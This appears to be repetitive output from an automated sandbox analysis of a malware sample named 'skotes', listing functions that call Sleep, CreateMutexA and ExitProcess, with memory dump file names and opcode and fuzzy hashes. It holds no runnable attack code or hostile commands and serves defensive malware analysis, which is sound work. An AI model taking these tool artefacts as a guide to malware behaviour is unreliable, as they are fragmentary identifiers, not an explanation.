
Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,007B652A,?,?,?,?,?,007B7661), ref: 007B6567

Memory Dump Source

Source File: 00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000004.00000002.2183963510.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2183982105.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184046156.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184065867.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184088288.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184211121.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184230704.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184255961.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184275654.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184338203.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184353935.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184372826.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184390537.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184414853.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184437914.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184456746.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184474771.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184494179.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184514890.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184537434.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184559007.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184579546.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184599295.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184620421.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184639173.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184654061.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184673422.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184695215.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184717096.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184736670.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184756657.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184777481.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184799325.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184817251.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184837419.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184854915.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184878201.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184898432.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184977123.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184999880.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185019364.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185033551.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185052704.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185069151.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: cd9593cf9c8f463f52eb6538c5decc9b28e4e33337333906b32bb9f232afb873
Instruction ID: 2c8d5e7150b5450ba9ccfb4f95795c6c6dad604caaf297b9d216f5c44016bb6f
Opcode Fuzzy Hash: cd9593cf9c8f463f52eb6538c5decc9b28e4e33337333906b32bb9f232afb873
Instruction Fuzzy Hash: AAE08C30001108AFCE36BB1CC95DB893BAAEF02745F100810FE1886226CB2DEDA1CA81

Function 0078A079 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970
PZhD, xrefs: 0078A07B
S_D, xrefs: 0078A989
tB_D, xrefs: 0078A998

Memory Dump Source

Source File: 00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000004.00000002.2183963510.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2183982105.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184046156.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184065867.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184088288.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184211121.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184230704.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184255961.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184275654.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184338203.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184353935.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184372826.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184390537.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184414853.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184437914.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184456746.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184474771.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184494179.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184514890.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184537434.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184559007.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184579546.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184599295.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184620421.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184639173.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184654061.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184673422.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184695215.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184717096.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184736670.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184756657.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184777481.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184799325.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184817251.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184837419.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184854915.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184878201.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184898432.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184977123.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184999880.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185019364.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185033551.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185052704.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185069151.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: PZhD$T2~$tB_D$S_D
API String ID: 1464230837-2639056295
Opcode ID: 49c05def45fbd42f3dc3e6b15c9fa50aa3c59523a0856b0135cabdee0056dc49
Instruction ID: dfb5688eb4e201b1243c75aeef1cd14a0e4e6c12873d49ab5067d9813e567685
Opcode Fuzzy Hash: 49c05def45fbd42f3dc3e6b15c9fa50aa3c59523a0856b0135cabdee0056dc49
Instruction Fuzzy Hash: C8314831A54104ABFF18ABB8DC89B6CF772EB95310F24821AE014D73D2E77E59808752

Function 0078A1AE Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970
P%gD, xrefs: 0078A1B0
S_D, xrefs: 0078A989
tB_D, xrefs: 0078A998

Memory Dump Source

Source File: 00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000004.00000002.2183963510.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2183982105.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184046156.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184065867.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184088288.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184211121.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184230704.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184255961.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184275654.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184338203.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184353935.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184372826.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184390537.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184414853.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184437914.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184456746.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184474771.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184494179.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184514890.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184537434.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184559007.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184579546.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184599295.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184620421.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184639173.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184654061.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184673422.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184695215.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184717096.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184736670.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184756657.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184777481.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184799325.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184817251.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184837419.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184854915.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184878201.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184898432.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184977123.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184999880.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185019364.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185033551.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185052704.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185069151.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: P%gD$T2~$tB_D$S_D
API String ID: 1464230837-831233419
Opcode ID: c4e3b43f2cbd252b930f0033224eb90f0d35a5d2fcb842ece41d7e27ce2ca1da
Instruction ID: d6c0975c7c37150ebe8920f6b68e6c2974a0558fe4baab7ffc5b7abf2383e217
Opcode Fuzzy Hash: c4e3b43f2cbd252b930f0033224eb90f0d35a5d2fcb842ece41d7e27ce2ca1da
Instruction Fuzzy Hash: AF314A31A45144EBFB18BBB8DC8DB6DB772EBD6310F24821AE014973D2E77E59808752

Function 0078A682 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970
PQbD, xrefs: 0078A684
S_D, xrefs: 0078A989
tB_D, xrefs: 0078A998

Memory Dump Source

Source File: 00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000004.00000002.2183963510.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2183982105.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184046156.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184065867.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184088288.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184211121.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184230704.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184255961.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184275654.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184338203.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184353935.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184372826.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184390537.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184414853.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184437914.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184456746.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184474771.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184494179.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184514890.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184537434.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184559007.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184579546.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184599295.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184620421.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184639173.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184654061.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184673422.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184695215.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184717096.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184736670.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184756657.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184777481.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184799325.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184817251.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184837419.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184854915.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184878201.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184898432.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184977123.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184999880.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185019364.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185033551.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185052704.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185069151.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: PQbD$T2~$tB_D$S_D
API String ID: 1464230837-2080593980
Opcode ID: 0af09bbbf2f095a7f449ebfcc6d9313c617b56c3946d5efb83524f0cb7883333
Instruction ID: 2d4b2362691ccaac5afe6eba8a960fa39363ace37722f42f14781398b32a36b2
Opcode Fuzzy Hash: 0af09bbbf2f095a7f449ebfcc6d9313c617b56c3946d5efb83524f0cb7883333
Instruction Fuzzy Hash: 5E314831745100EBFB08BB78DC89B6DB772EB85310F24821AE014E73D6E77E99809762

Function 00789BA5 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0078A963
CreateMutexA.KERNELBASE(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970
S_D, xrefs: 0078A989
tB_D, xrefs: 0078A998

Memory Dump Source

Source File: 00000004.00000002.2183982105.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000004.00000002.2183963510.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2183982105.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184046156.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184065867.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184088288.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184211121.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184230704.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184255961.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184275654.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184295416.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184338203.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184353935.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184372826.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184390537.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184414853.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184437914.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184456746.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184474771.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184494179.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184514890.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184537434.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184559007.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184579546.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184599295.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184620421.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184639173.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184654061.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184673422.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184695215.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184717096.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184736670.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184756657.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184777481.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184799325.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184817251.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184837419.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184854915.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184878201.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184898432.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184918696.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184977123.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2184999880.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185019364.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185033551.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185052704.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.2185069151.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~$tB_D$S_D
API String ID: 1464230837-3299340654
Opcode ID: 15cb358d2fbe8e8bc6e02e10d0cb088acfad1b8b55af87c7dda45d216212eb8b
Instruction ID: fcb4e6e4e4d0377519f844534cde7fc75e3bca7d3ebe31d1ee94769fa5526117
